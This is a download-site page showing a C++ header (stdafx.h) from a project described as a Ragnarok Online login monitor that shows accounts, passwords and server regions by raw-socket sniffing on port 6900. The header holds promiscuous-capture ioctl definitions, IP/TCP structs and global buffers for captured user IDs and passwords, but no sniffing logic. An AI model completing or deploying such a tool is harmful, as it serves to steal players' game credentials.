⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 stdafx.h

📁 网游《仙境传说》的登录监控程序。 可以显示帐户、密码、大区等。 使用了rawsocket检测技术
💻 H
字号:
// stdafx.h : include file for standard system include files,
//  or project specific include files that are used frequently, but
//  are changed infrequently
//

#if !defined(AFX_STDAFX_H__3BD776CD_ACBE_4A2A_94F8_83E8D63C4506__INCLUDED_)
#define AFX_STDAFX_H__3BD776CD_ACBE_4A2A_94F8_83E8D63C4506__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#define VC_EXTRALEAN		// Exclude rarely-used stuff from Windows headers

#include <afx.h>
#include <afxwin.h>   // MFC core and standard components
#include <afxext.h>   // MFC extensions
#include <afxdtctl.h>		// MFC support for Internet Explorer 4 Common Controls
#ifndef _AFX_NO_AFXCMN_SUPPORT
#include <afxcmn.h>			// MFC support for Windows Common Controls
#endif // _AFX_NO_AFXCMN_SUPPORT

#include <iostream>


#define MAX_PACK_LEN		65536
#define MAX_HOSTNAME_LAN	256
#define	MAX_ADDR_LEN		24


#define SIO_RCVALL			_WSAIOW(IOC_VENDOR,1) 
#define SIO_RCVALL_MCAST	_WSAIOW(IOC_VENDOR,2) 
#define SIO_RCVALL_IGMPMCAST	_WSAIOW(IOC_VENDOR,3) 
#define SIO_KEEPALIVE_VALS	_WSAIOW(IOC_VENDOR,4) 
#define SIO_ABSORB_RTRALERT	_WSAIOW(IOC_VENDOR,5) 
#define SIO_UCAST_IF		_WSAIOW(IOC_VENDOR,6) 
#define SIO_LIMIT_BROADCASTS	_WSAIOW(IOC_VENDOR,7) 
#define SIO_INDEX_BIND		_WSAIOW(IOC_VENDOR,8) 
#define SIO_INDEX_MCASTIF	_WSAIOW(IOC_VENDOR,9) 
#define SIO_INDEX_ADD_MCAST	_WSAIOW(IOC_VENDOR,10) 
#define SIO_INDEX_DEL_MCAST	_WSAIOW(IOC_VENDOR,11) 

#define GAME_SERVER_PORT		6900

#include <malloc.h>

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#include <process.h>

struct IP_HEADER
{
	unsigned char	h_lenver;		//4位首部长度+4位IP版本号
	unsigned char	tos;			//8位服务类型TOS
	unsigned short	total_len;		//16位总长度(字节)
	unsigned short	ident;			//16位标识
	unsigned short	frag_and_flags;	//3位标志位+13位片偏移
	unsigned char	ttl;			//8位生存时间 TTL
	unsigned char	proto;			//8位协议 (TCP, UDP 或其他)
	unsigned short	checksum;		//16位IP首部校验和
	unsigned int	sourceIP;		//32位源IP地址
	unsigned int	destIP;			//32位目的IP地址
};

struct TCP_HEADER					//定义TCP首部
{
	USHORT th_sport;				//16位源端口
	USHORT th_dport;				//16位目的端口
	unsigned int  th_seq;			//32位序列号
	unsigned int  th_ack;			//32位确认号
	unsigned char th_lenres;		//4位首部长度/6位保留字
	unsigned char th_flag;			//6位标志位(USG ACK PSH PST SYN FIN)
	USHORT th_win;					//16位窗口大小
	USHORT th_sum;					//16位校验和
	USHORT th_urp;					//16位紧急数据偏移量
};


char SourceIPAddress[MAX_ADDR_LEN];
char DestIPAddress[MAX_ADDR_LEN];

bool GameLogined = false;
char GameWorld[MAX_PATH] = {0};
char GameUid[MAX_PATH] = {0};
char GamePwd[MAX_PATH] = {0};
volatile bool IIACSLogined = false;

BOOL InitSocket();
BOOL DoSniffing();
BOOL DecodeIPPack(const char *Buffer,const int BufferSize);
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize);


void CheckGameQuit(void * p);




#include "../common/geco.h"
#include "../accl/accl.h"
// TODO: reference additional headers your program requires here

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_STDAFX_H__3BD776CD_ACBE_4A2A_94F8_83E8D63C4506__INCLUDED_)

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -